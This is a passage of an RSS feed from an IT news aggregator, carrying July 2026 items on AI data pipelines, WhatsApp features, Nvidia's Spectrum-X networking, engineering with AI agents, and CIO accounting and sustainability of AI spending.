experimentation, not just warehouse tables. Similar to Uber, the platform was built for humans and now it has become more important with the rise in AI/LLM applications.</p><p>Between them, Uber and Netflix cover two of the four things worth building for. In practice, I think about it as four dimensions, each measurable on its own terms.</p><p><b>Correctness:</b> Does each record conform to the shape and rules it's supposed to, right field types, no unexpected nulls, values in range. Tools like<a href="https://greatexpectations.io/"> Great Expectations</a> and <a href="https://soda.io/">Soda</a> handle this well: automated row and column-level validation instead of manual checks after something breaks. Track percentage of records passing validation per run.</p><p><b>Freshness:</b> Is the data still current relative to its source, not just current as of its last check. Track time since last successful update per source, with an SLA per dataset rather than one blanket threshold, since some sources need hourly refresh and others don't.</p><p><b>Consistency:</b> Does the same fact read the same way everywhere it's stored or indexed. This fails silently, it only shows up when two systems fed by the same source start disagreeing. A periodic cross-check between downstream destinations, flagging mismatch rate above a threshold, is enough to catch it early.</p><p><b>Lineage:</b> Can you trace any output back to its source and every transform it passed through, the same question Netflix built its system to answer. </p><p>None of this requires infrastructure most data teams don't already have. I know because I've built it, not just argued for it.</p><p>At <a href="https://www.socure.com/">Socure</a>, client data arrived in whatever shape the client felt like sending it, and occasionally, quietly wrong. The challenge was building a system where incorrect data could be identified before it propagated downstream. The same principles applied: Validate what arrived, understand where it came from, and prevent bad data from becoming someone else's problem.</p><p>Great Expectations became part of that foundation: schema and range validation at ingestion, per-source SLAs for freshness, cross-system checks for consistency, and file-level lineage. All of it sat behind a <a href="https://aws.amazon.com/blogs/big-data/build-write-audit-publish-pattern-with-apache-iceberg-branching-and-aws-glue-data-quality/">write-audit-publish</a> pattern, where data landed in staging, was validated, and only moved downstream if it passed the required checks.</p><p>The result showed up downstream: better accuracy across the board, in reporting, in the ML models, and in AI retrieval built on top of that same data.</p><h2>What to do Monday morning</h2><p>If you're running retrieval-based AI systems in production, the diagnostic question isn't which model to try next or which retrieval architecture to migrate to. It's four narrower questions: </p><ul><li><p>Is the underlying data validated against the standards required by its consumers?</p></li><li><p>What's the oldest piece of content currently being served with high confidence?</p></li><li><p>Would two chunks of the same source ever disagree with each other in the same retrieval result?</p></li><li><p>Could you trace where it came from if it turned out to be wrong?</p></li></ul><p>If you can't answer those questions, then the gap lies in the pipeline between your source systems and whatever your agent reads from. That’s a data engineering fix, not a model swap or a vendor migration.</p><p>Whether you're building reporting pipelines, ML systems, or AI agents, correctness, freshness, consistency, and lineage are what make data trustworthy. AI simply exposes weaknesses that have existed in data engineering all along. </p>]]></content:encoded>
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<title><![CDATA[Q2 2026 earnings call: Remarks from our CEO]]></title>
<description><![CDATA[Read an edited transcript of Sundar Pichai’s remarks from the Q2 2026 Alphabet earnings call.]]></description>
<link>https://tsecurity.de/de/3687572/it-nachrichten/q2-2026-earnings-call-remarks-from-our-ceo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687572/it-nachrichten/q2-2026-earnings-call-remarks-from-our-ceo/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:05 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Read an edited transcript of Sundar Pichai’s remarks from the Q2 2026 Alphabet earnings call.]]></content:encoded>
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<title><![CDATA[WhatsApp Adds Apple Music Sharing, iPad Signups, and New CarPlay Features]]></title>
<description><![CDATA[WhatsApp has announced several new features for iPhone, iPad, CarPlay, Android Auto, desktop, and web users, with the latest update focusing on music sharing, easier account setup, PDF tools, and improved in-car controls. The company says these WhatsApp new features are rolling out now across sup...]]></description>
<link>https://tsecurity.de/de/3687260/ios-mac-os/whatsapp-adds-apple-music-sharing-ipad-signups-and-new-carplay-features/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687260/ios-mac-os/whatsapp-adds-apple-music-sharing-ipad-signups-and-new-carplay-features/</guid>
<pubDate>Wed, 22 Jul 2026 20:26:28 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[WhatsApp has announced several new features for iPhone, iPad, CarPlay, Android Auto, desktop, and web users, with the latest update focusing on music sharing, easier account setup, PDF tools, and improved in-car controls. The company says these WhatsApp new features are rolling out now across supported devices.



One of the main additions lets users share songs from Apple Music or Spotify directly to their WhatsApp Status. Friends can then see what someone is listening to without leaving the Status screen.




“Sharing music is a way of expressing yourself, and now you can easily share a song straight from Apple Music or Spotify to your WhatsApp Status. With just a couple of taps, your friends can see what you’re into right now, making your Status even more uniquely you,” WhatsApp said.




iPad users can now create a WhatsApp account directly on the tablet instead of linking an existing phone account. WhatsApp introduced this option after users repeatedly requested a simpler signup process for its iPad app.



The refreshed CarPlay and Android Auto experience also lets users hear and reply to messages, make calls, view call history, and reach favourite contacts from the car display. Meanwhile, Adobe Acrobat integration allows desktop and web users to open, highlight, and annotate PDFs inside WhatsApp chats.]]></content:encoded>
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<title><![CDATA[The engineering bottleneck has changed. Is your org prepared?]]></title>
<description><![CDATA[AI agents can turn a clear description into working software, the engineer’s judgement is what makes the difference: deciding what to build, catching the tradeoff the agent didn’t know to weigh, and owning the call on whether the result is right.



That judgement has always been the hard part of...]]></description>
<link>https://tsecurity.de/de/3687009/it-security-nachrichten/the-engineering-bottleneck-has-changed-is-your-org-prepared/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687009/it-security-nachrichten/the-engineering-bottleneck-has-changed-is-your-org-prepared/</guid>
<pubDate>Wed, 22 Jul 2026 18:28:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">AI agents can turn a clear description into working software, the engineer’s judgement is what makes the difference: deciding what to build, catching the tradeoff the agent didn’t know to weigh, and owning the call on whether the result is right.</p>



<p class="wp-block-paragraph">That judgement has always been the hard part of engineering. It just used to be bundled into the act of writing code, where a skilled engineer did it while typing. As agents take on more of the typing, that judgement separates out and becomes the clear center of the role. Leaders who adapt early will get their metrics, their talent pipelines, and their delivery models working with this shift rather than against it.</p>



<h3 class="wp-block-heading">Judgement is defining, constraining, and deciding</h3>



<p class="wp-block-paragraph">Judgement is all about defining the problem precisely enough that an agent builds the right thing. It’s setting the constraints the agent won’t infer on its own. It’s spotting the tradeoff buried three layers down that only shows up if you understand the system. And it’s looking at a finished implementation and knowing whether it’s genuinely good enough to ship.</p>



<p class="wp-block-paragraph">This is the harder part of the job and the real driver of quality. It was easy to underrate when it lived inside day-to-day coding. Now it’s what separates a strong team from an average one.</p>



<h3 class="wp-block-heading">The shift changes where time, growth, and metrics go</h3>



<p class="wp-block-paragraph">If the high-value activity is intent, review, and judgement rather than raw output, a few assumptions are worth revisiting.</p>



<p class="wp-block-paragraph"><strong>Where engineers spend their time.</strong> Less of the day goes to producing boilerplate and mechanical implementation, and more goes to the reasoning that used to get squeezed to the edges: framing the problem and owning the judgement calls that determine quality.</p>



<p class="wp-block-paragraph"><strong>How teams grow their people.</strong> Defining problems well, spotting risk, and critically evaluating work you didn’t write yourself have always been senior skills. When agents handle more of the mechanical work, those skills become learnable earlier. That puts the emphasis on leaders to teach the reasoning: why a choice gets made and how to weigh the tradeoffs that come with it.</p>



<p class="wp-block-paragraph"><strong>What you measure.</strong> Lines shipped, tickets closed, and velocity charts all measured throughput of the old scarce resource. They say very little about the new one. The teams that adapt will start measuring the quality of intent going in and the reliability of judgement coming out, because that’s where the results now live.</p>



<h3 class="wp-block-heading">Reinvest the time you get back</h3>



<p class="wp-block-paragraph">The tempting response is to treat the freed-up capacity as pure speed: same work, same tooling, just faster. That captures the easy win and misses the real one. If engineers spend their reclaimed time reviewing a rising volume of agent output with no better context than before, review quietly becomes the new constraint, and you’ve moved the problem rather than solved it.</p>



<p class="wp-block-paragraph">The organizations that get ahead will invest the reclaimed capacity into the judgement layer: creating stronger specs and acceptance criteria before work starts, building review practices that test agent output against intent, and capturing the reasoning behind decisions where the next person can find it, so it doesn’t have to be reconstructed every time. That’s how the shift becomes an advantage for your team.</p>



<h3 class="wp-block-heading">The through-line for leaders</h3>



<p class="wp-block-paragraph">The engineering job is moving up a level, from executing the work to directing and validating it. That’s a more strategic role, and it rewards clarity of thought over speed of output. Leaders who see the shift early can help their engineers grow into the work that’s now most valuable.</p>



<p class="wp-block-paragraph">See how leading engineering organizations are operationalizing this shift at <a href="https://www.atlassian.com/software/jira/dev?utm_source=foundry&amp;utm_medium=paid-social&amp;utm_campaign=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld&amp;utm_content=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld%7CU:cio-2" target="_blank" rel="noreferrer noopener">jira.dev.</a></p>
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<title><![CDATA[Nvidia unveils Spectrum-X networking platform designed to connect millions of GPUs]]></title>
<description><![CDATA[Nvidia has introduced its next-generation Spectrum-X Ethernet networking platform, positioning it as a key building block for the next wave of “gigascale” AI factories designed to connect millions of GPUs while reducing power consumption and operational costs.



The networking platform is part o...]]></description>
<link>https://tsecurity.de/de/3686898/it-security-nachrichten/nvidia-unveils-spectrum-x-networking-platform-designed-to-connect-millions-of-gpus/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686898/it-security-nachrichten/nvidia-unveils-spectrum-x-networking-platform-designed-to-connect-millions-of-gpus/</guid>
<pubDate>Wed, 22 Jul 2026 17:45:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/3562856">Nvidia</a> has introduced its next-generation Spectrum-X Ethernet networking platform, positioning it as a key building block for the next wave of “gigascale” <a href="https://www.networkworld.com/article/4080459/nvidia-looks-to-power-ai-factory-networks.html">AI factories</a> designed to connect millions of GPUs while reducing power consumption and <a href="https://blogs.nvidia.com/blog/performance-per-watt-ai-infrastructure-efficiency/">operational</a> costs.</p>



<p class="wp-block-paragraph">The networking platform is part of Nvidia’s broader <a href="https://www.networkworld.com/article/4146173/nvidia-announces-vera-rubin-platform-signaling-a-shift-to-full-stack-ai-infrastructure.html">Rubin architecture</a>, which integrates six major components—including the Vera CPU, Rubin GPU, NVLink 6 switches, ConnectX-9 SuperNICs, BlueField-4 DPUs and the new Spectrum-6 Ethernet switches—into a tightly coupled AI infrastructure stack.</p>



<p class="wp-block-paragraph">The company says this level of integration underscores the growing importance of <a href="https://www.networkworld.com/article/4050881/nvidia-networking-roadmap-ethernet-infiniband-co-packaged-optics-will-shape-data-center-of-the-future.html">networking in AI</a>. In its most recent quarter, <a href="https://finance.yahoo.com/news/nvidia-ceo-were-now-the-largest-networking-company-in-the-world-184004945.html">networking sales were $11 billion</a>, up 263% year-over-year, prompting the ever-subtle CEO Jensen Huang to declare “We’re … now the largest networking company in the world” during Nvidia’s earnings call.</p>



<p class="wp-block-paragraph">While GPUs have dominated headlines during the AI boom, networking has increasingly become a performance bottleneck as models grow larger and require faster communication between compute nodes.</p>



<p class="wp-block-paragraph"><a href="https://blogs.nvidia.com/blog/nvidia-spectrum-six-arrives-in-gigascale-ai-factories/">Spectrum-X is a comprehensive</a> platform consisting of Spectrum Ethernet switches, Spectrum-X SuperNICs, ConnectX NICs, BlueField DPUs, LinkX cabling and transceivers and Spectrum-XGS for networking between multiple AI data centers.</p>



<p class="wp-block-paragraph">At the heart of the platform is the Spectrum-6 switch, a 102.4-terabit-per-second Ethernet switch system delivering 2x the capacity of previous-generation systems and built as part of the Vera Rubin platform. </p>



<p class="wp-block-paragraph">Spectrum-6 is designed to operate an AI factory as one end-to-end computing system. It combines new Ethernet switches, network interface cards, silicon photonics and software designed to improve bandwidth while lowering latency and power usage.</p>



<p class="wp-block-paragraph">The new Spectrum-X technology intelligently balances traffic across available paths, rapidly bypasses failures and precisely recovers when data traveling across a network fails to reach its destination. Plus, support for open network operating systems and a choice of RDMA transport models gives AI builders flexibility without compromising performance.</p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/technology/article/nvidia-touts-vera-rubin-performance-ahead-of-rival-amds-advancing-ai-event-150000768.html?guccounter=1&amp;guce_referrer=aHR0cHM6Ly9uZXdzLmdvb2dsZS5jb20v&amp;guce_referrer_sig=AQAAAEh_I8qKgLgYmKxTlsV8p1hghe0mcbZfOSUjeFuuNz_mo3S2J-hp5qMxJkhFymSrtqeE6GKacJ0zIOKu7RWJcmqF6_A3ngsbW4jA5OUigdf1JbplRZJki10-au5CQNVt1hdI-OlkZtXKlTqfpWGF9v0XHEKZq39-omo3uCA1N2jk">Nvidia</a> says its latest silicon photonics technology integrates optical communications directly into networking hardware, reducing power consumption while increasing bandwidth density compared with conventional optical networking approaches.</p>



<p class="wp-block-paragraph">The announcement reflects a broader shift in AI infrastructure strategy. Early AI clusters were primarily limited by GPU availability, but hyperscale operators are increasingly finding that networking, storage and power delivery determine how efficiently massive GPU deployments perform. By integrating networking more tightly with compute, Nvidia aims to eliminate communication bottlenecks that emerge as AI systems scale beyond a single data center or even multiple campuses.</p>



<p class="wp-block-paragraph">New to the platform is Nvidia’s previously announced Spectrum-XGS technology, which links geographically distributed data centers into a single AI supercomputer. Together, the technologies are designed to enable organizations to construct AI factories that span multiple facilities while operating as a unified computing environment.</p>
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<title><![CDATA[WhatsApp adds Apple CarPlay and Android Auto upgrades, iPad sign-ups, and more]]></title>
<description><![CDATA[WhatsApp on Apple CarPlay and Android Auto will let users hear and reply to messages, make calls, view their call history, and access favorite contacts hands-free and right from their car's screen.]]></description>
<link>https://tsecurity.de/de/3686400/it-nachrichten/whatsapp-adds-apple-carplay-and-android-auto-upgrades-ipad-sign-ups-and-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686400/it-nachrichten/whatsapp-adds-apple-carplay-and-android-auto-upgrades-ipad-sign-ups-and-more/</guid>
<pubDate>Wed, 22 Jul 2026 15:06:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[WhatsApp on Apple CarPlay and Android Auto will let users hear and reply to messages, make calls, view their call history, and access favorite contacts hands-free and right from their car's screen.]]></content:encoded>
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<title><![CDATA[Call of Duty: Modern-Warfare-4-Beta startet direkt nach CoD Next]]></title>
<description><![CDATA[Call of Duty: Modern Warfare 4 lässt sich bereits im August ausprobieren. Die erste Betaphase beginnt unmittelbar nach der Übertragung von Call of Duty: Next und bleibt Vorbestellern vorbehalten. Eine Woche später folgt eine offene Testrunde, an der auch Spieler auf der Nintendo Switch 2 teilnehm...]]></description>
<link>https://tsecurity.de/de/3686332/it-nachrichten/call-of-duty-modern-warfare-4-beta-startet-direkt-nach-cod-next/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686332/it-nachrichten/call-of-duty-modern-warfare-4-beta-startet-direkt-nach-cod-next/</guid>
<pubDate>Wed, 22 Jul 2026 14:47:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://pics.computerbase.de/1/2/3/9/0/7-c108b70ba3e16e62/article-640x360.d86c6bc8.jpg"><p>Call of Duty: Modern Warfare 4 lässt sich bereits im August ausprobieren. Die erste Betaphase beginnt unmittelbar nach der Übertragung von Call of Duty: Next und bleibt Vorbestellern vorbehalten. Eine Woche später folgt eine offene Testrunde, an der auch Spieler auf der Nintendo Switch 2 teilnehmen können.</p>]]></content:encoded>
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<title><![CDATA[heise-Angebot: Last Call: M365 für Admins – Sichere Konfiguration & effiziente Verwaltung]]></title>
<description><![CDATA[Perfekter Einstieg in die Verwaltung von Microsoft 365: IT-Admins erhalten einen detaillierten Überblick – von Lizenzen über Tenant bis Purview.]]></description>
<link>https://tsecurity.de/de/3685938/it-nachrichten/heise-angebot-last-call-m365-fuer-admins-sichere-konfiguration-effiziente-verwaltung/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685938/it-nachrichten/heise-angebot-last-call-m365-fuer-admins-sichere-konfiguration-effiziente-verwaltung/</guid>
<pubDate>Wed, 22 Jul 2026 12:18:57 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Perfekter Einstieg in die Verwaltung von Microsoft 365: IT-Admins erhalten einen detaillierten Überblick – von Lizenzen über Tenant bis Purview.]]></content:encoded>
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<title><![CDATA[The AI bill is the easy part. The hard part is everything it changed]]></title>
<description><![CDATA[Your CFO has a simple question. “We’re spending more on AI. What are we getting for it?” Most CIOs cannot answer it — not because AI isn’t creating value, but because the accounting systems we inherited were built before AI existed as a category of labor.



This June, the conversation shifted fr...]]></description>
<link>https://tsecurity.de/de/3685909/it-security-nachrichten/the-ai-bill-is-the-easy-part-the-hard-part-is-everything-it-changed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685909/it-security-nachrichten/the-ai-bill-is-the-easy-part-the-hard-part-is-everything-it-changed/</guid>
<pubDate>Wed, 22 Jul 2026 12:14:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Your CFO has a simple question. “We’re spending more on AI. What are we getting for it?” Most CIOs cannot answer it — not because AI isn’t creating value, but because the accounting systems we inherited were built before AI existed as a category of labor.</p>



<p class="wp-block-paragraph">This June, the conversation shifted from token maxing to token cutting. <a href="https://www.nytimes.com/">The New York Times</a> reported that Meta, Uber, Walmart and Amazon are capping employee AI usage. Uber blew through its 2026 AI budget in four months. Satya Nadella started framing it as human capital versus token capital.</p>



<p class="wp-block-paragraph">All of that is true. None of it answers the CFO. Capping tokens is an input lever, not an output measure. And the <a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">human-versus-token framing</a> names two sources of labor when the reality is four.</p>



<h2 class="wp-block-heading">The enterprise now has 4 sources of labor</h2>



<p class="wp-block-paragraph">There are humans. There are humans assisted by AI. Humans are working alongside AI. And humans are managing AI. Sources two through four are all supervised machine labor at different intensities — none of them have a line item, a manager or an hourly rate. In our <a href="https://withlanai.com/ai-labor-report">2026 AI Labor Report</a>, 78% of leaders view AI as both software and a labor force. The org chart has not caught up. Neither has the P&amp;L.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-1-four-source-framework.png?w=1024" alt="Four-source framework and A-Level taxonomy: Lanai  ·  Lanai / Wakefield Research, n=200, March–April 2026" class="wp-image-4198947" width="1024" height="502" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Four-source framework and A-Level taxonomy: Lanai  ·  Lanai / Wakefield Research, n=200, March–April 2026</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<p class="wp-block-paragraph">Most enterprises are stuck at A-Level 1 with no accounting for any of it, while quietly sliding into A-Level 2. The job descriptions have not caught up. The budget has not caught up. You cannot upskill into a role that has not been named.</p>



<p class="wp-block-paragraph">AI is the only category of work the modern enterprise has ever bought without a system of record for what it produced.</p>



<h2 class="wp-block-heading">What you are actually running is supervised machine labor</h2>



<p class="wp-block-paragraph">The model does a first pass. A human makes it usable. One hundred percent of leaders we surveyed said AI work requires human review before it ships; 34% said substantial editing. That is a workforce with no manager, no hourly rate and no line on the income statement.</p>



<h3 class="wp-block-heading">The accounting breaks in 3 places at once</h3>



<p class="wp-block-paragraph">Under GAAP: COGS if it helps produce the product, OpEx if it does work for you. The same workflow can hit all three buckets at once. A tier-one support resolution involves the human’s salary (OpEx), the AI’s tokens (COGS if support is a delivered service), and the supervisor’s review time (OpEx). Three buckets. One piece of work. No reconciliation. The token invoice arrives from Anthropic or OpenAI and gets coded to OpEx-software because that is what the bill looks like. Audit partners will be asking about this by next year.</p>



<p class="wp-block-paragraph">When you call AI a tool, you book it like software. When you call it labor, you have to ask which kind and what it is producing.</p>



<h2 class="wp-block-heading">The per-employee number is the wrong unit</h2>



<p class="wp-block-paragraph">Per-employee AI spend collapses a workforce into a per-head average. It hides the only number that matters: What AI is producing inside each workflow.</p>



<p class="wp-block-paragraph">Lanai measured two teams inside the same finance organization. Same monthly prep and variance analysis. AI took the same amount of time to produce outputs of similar quality. The only variable was the model each team reached for by default — a choice nobody had made deliberately and <a href="https://withlanai.com/ai-labor-report">nobody had seen until it was measured</a>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-2-white-labeled-example.png?w=1024" alt="White-labeled example. Workflow profile, hours and economics drawn from a representative customer engagement." class="wp-image-4198945" width="1024" height="485" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>White-labeled example. Workflow profile, hours and economics drawn from a representative customer engagement.</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<p class="wp-block-paragraph">The gap existed for months before anyone saw it.</p>



<p class="wp-block-paragraph">Faith-based budgeting — the organizational equivalent of putting money in the collection plate and hoping God handles the ROI — is what made it invisible.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-3-lanai-wakefield-research.png?w=1024" alt="Lanai / Wakefield Research  ·  n=200  ·  U.S. enterprises 1,000+  ·  March–April 2026" class="wp-image-4198944" width="1024" height="199" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Lanai / Wakefield Research  ·  n=200  ·  U.S. enterprises 1,000+  ·  March–April 2026</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<h2 class="wp-block-heading">AI labor orphaning</h2>



<p class="wp-block-paragraph">That is not a measurement problem. It is a category error. We call it AI Labor Orphaning. AI does the work. The output gets credited to the human who approved it. The token bill lands in OpEx-software. The supervision time absorbs into salaried hours nobody is auditing. Eighty-seven percent of leaders admitted AI output is sometimes or always credited entirely to the human employee. This is the last-click attribution problem of the AI era, running in reverse.</p>



<p class="wp-block-paragraph">What fills the vacuum? Belief. Forty-three percent assume that if AI was involved, it contributed. Only twelve percent have a clear methodology. Seventy-nine percent are worried AI budgets will be cut because they cannot connect spend to results. The cuts are not coming because AI does not work. They are coming because nobody can prove that it did.</p>



<p class="wp-block-paragraph">Capping tokens may look like responsible governance, but it is like turning off a staticky radio rather than tuning the dial. The companies cutting AI budgets in 2026 will discover in 2027 that they cut the workflows that worked alongside the ones that did not.</p>



<h2 class="wp-block-heading">The real cost of AI is not the model. It is the redesign</h2>



<p class="wp-block-paragraph">Three layers. Most organizations only manage the first.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-4-managing-layer-one.png?w=1024" alt="Managing Layer 1 without Layers 2 and 3 is how you optimize the invoice while missing the transformation." class="wp-image-4198946" width="1024" height="335" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Managing Layer 1 without Layers 2 and 3 is how you optimize the invoice while missing the transformation.</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<h2 class="wp-block-heading">What to actually do</h2>



<p class="wp-block-paragraph">The <a href="https://withlanai.com/ai-labor-report">12% of organizations</a> that can answer the CFO treat AI like every other category of labor — with a cost per AI Work Hour that is accounted for by a set of AI assistants, co-pilots and agents that are held accountable to performance standards. </p>



<ul class="wp-block-list">
<li>Audit the four sources separately. Each A-Level has different token economics, SaaS implications and human redesign requirements.</li>



<li>Find the embedded SaaS repricing before your next renewal. Pull your top 20 contracts. Ask whether AI features previously included are now priced incrementally.</li>



<li>Redesign the human role at A-Level 2 before you scale it. You cannot upskill into a role that has not been named.</li>



<li>Build a system of record before you build the next agent. Start with one department. Two weeks. You will find something that surprises you.</li>



<li>Stop calling it a tool. Start calling it labor. The language determines the chart of accounts.</li>
</ul>



<p class="wp-block-paragraph">When your blended AI rate is $22 an hour, the conversation shifts from ‘we spent $340,000 on AI’ to ‘we acquired a skilled workforce at $22 an hour.’ That sentence is defensible. A vendor invoice is not.</p>



<p class="wp-block-paragraph">The CIOs who will have a defensible AI story in 2027 are the ones who renamed the work in 2026. Not because technology changed. Because they finally built the accounting to see it.</p>



<p class="wp-block-paragraph"><em>Findings are drawn from the </em><a href="https://withlanai.com/ai-labor-report">2026 AI Labor Report</a><em>, fielded by Wakefield Research with 200 senior technology leaders at US enterprises of 1,000-plus employees, March 20–April 8, 2026 (±6.9pp at 95% confidence).</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[4 recs for CIOs to optimize AI budgets and improve sustainability]]></title>
<description><![CDATA[In the client-server era, the penalty for inefficient programming, such as unoptimized database calls, was largely confined to application responsiveness. Today, in the AI era, code, architectural, and platform inefficiencies are no longer just a performance issue, they’re a financial and environ...]]></description>
<link>https://tsecurity.de/de/3685758/it-security-nachrichten/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685758/it-security-nachrichten/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability/</guid>
<pubDate>Wed, 22 Jul 2026 11:11:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">In the client-server era, the penalty for inefficient programming, such as unoptimized database calls, was largely confined to application responsiveness. Today, in the AI era, code, architectural, and platform inefficiencies are no longer just a performance issue, they’re a financial and environmental liability. Left unchecked, poor code cascades into soaring token costs and spikes data center power consumption, directly undermining both cloud budgets and corporate sustainability goals.</p>



<h2 class="wp-block-heading">AI’s impact on sustainability</h2>



<p class="wp-block-paragraph">By 2029, IDC projects that the number of actively deployed AI agents will exceed 1 billion worldwide, which is 40 times more than in 2025. And these agents will perform 217 billion actions per day.</p>



<p class="wp-block-paragraph">To deliver on this demand, AI data centers are being built out at an unprecedented rate, with Gartner forecasting that <a href="https://www.gartner.com/en/newsroom/press-releases/2026-02-03-gartner-forecasts-worldwide-it-spending-to-grow-10-point-8-percent-in-2026-totaling-6-point-15-trillion-dollars">global spending on data centers</a> over the next three years will increase 31.7% to surpass $650 billion, driven primarily by hyperscaler cloud providers building out AI foundations, and optimizing servers for heavy AI workloads.</p>



<p class="wp-block-paragraph">All this presents a significant strain on the energy grid as well as environmental sustainability, including:</p>



<ul class="wp-block-list">
<li><strong>The power double-down:</strong> The <a href="https://energy.ec.europa.eu/news/focus-data-centres-energy-hungry-challenge-2025-11-17_en">International Energy Agency</a> (IEA) projects that global data center electricity consumption will more than double from about 415 to 945 TWh by 2030, primarily fueled by energy-intensive accelerated computing for AI.</li>



<li><strong>The inference premium:</strong> AI workloads are vastly more demanding than standard web activities. A gen AI query consumes roughly <a href="https://www.brookings.edu/articles/global-energy-demands-within-the-ai-regulatory-landscape/">10 times the electricity</a> of a conventional keyword search, or roughly 2.9 watt-hours as opposed to 0.3 watt-hours.</li>



<li><strong>Water consumption:</strong> Cooling these dense clusters is highly resource intensive. Global AI-related water demand is expected to reach <a href="https://aimultiple.com/ai-energy-consumption">4.2 to 6.6 billion cubic meters by 2027</a>.</li>
</ul>



<p class="wp-block-paragraph">The good news, however, is it’s not all out of the control of end user organizations and CIOs. Just as in the client-server era, through careful planning and execution, CIOs have the potential to significantly improve the performance, costs, and sustainability impacts of their AI application portfolio.</p>



<p class="wp-block-paragraph">Here are four recommendations to maximize value as you look across your AI applications and infrastructure estate.</p>



<h2 class="wp-block-heading">Revisit business objectives in light of AI</h2>



<p class="wp-block-paragraph">AI applications and platforms bring several new headaches for CIOs and CFOs in terms of FinOps. The variable nature of <a href="https://www.cio.com/article/4169954/servicenows-ai-control-tower-offers-hazy-view-of-spend.html">AI vendor billing due to variable monthly token costs</a> is just one well-known example. To avoid unpleasant surprises, be sure to carefully review vendor contracts to decipher pricing models. Look for what’s included in seat-based license fees and what’s added as variable charges for agentic AI usage.</p>



<p class="wp-block-paragraph">In addition, explore new metrics and KPIs such as intelligence per watt to help make sense of your return on AI. Just as miles per gallon helps us evaluate new car purchases, IPW can help to measure the computational efficiency of a system. It quantifies how much intelligence — typically measured in AI inferences, tokens processed, or model training iterations — a processor can deliver for every watt of electrical power it consumes.</p>



<p class="wp-block-paragraph">According to Max Romanenko, chief engineering officer at relational database platform EDB, cost per query tells you almost nothing in an agentic world where autonomous systems are spinning up databases, pipelines, and queries around the clock. “The metric that matters is intelligence per watt, how much useful AI you get for every unit of energy you spend,” he says. “It isn’t just an environmental number, it’s also a performance indicator.”</p>



<p class="wp-block-paragraph">With the measurements in place, you can then start to manage and optimize each layer in the AI stack from the infrastructure, or hyperscaler, layer to your own data and application layers.</p>



<p class="wp-block-paragraph">It’s important to bear in mind that high token usage isn’t necessarily a bad thing. It depends on the net value delivered by each AI application and use case. Managing and optimizing the AI stack is important, but you’ll also want to measure the business value being delivered by each of these applications so you can measure your return.</p>



<h2 class="wp-block-heading">Take a sovereign AI approach when evaluating hyperscalers</h2>



<p class="wp-block-paragraph">As you work with hyperscalers like Amazon, Google and Microsoft, it’s important to understand how they charge and how much, but also their environmental footprints. For example, by reading their sustainability reports, you can find out their annual water consumption across their global data centers and compare them with other providers.</p>



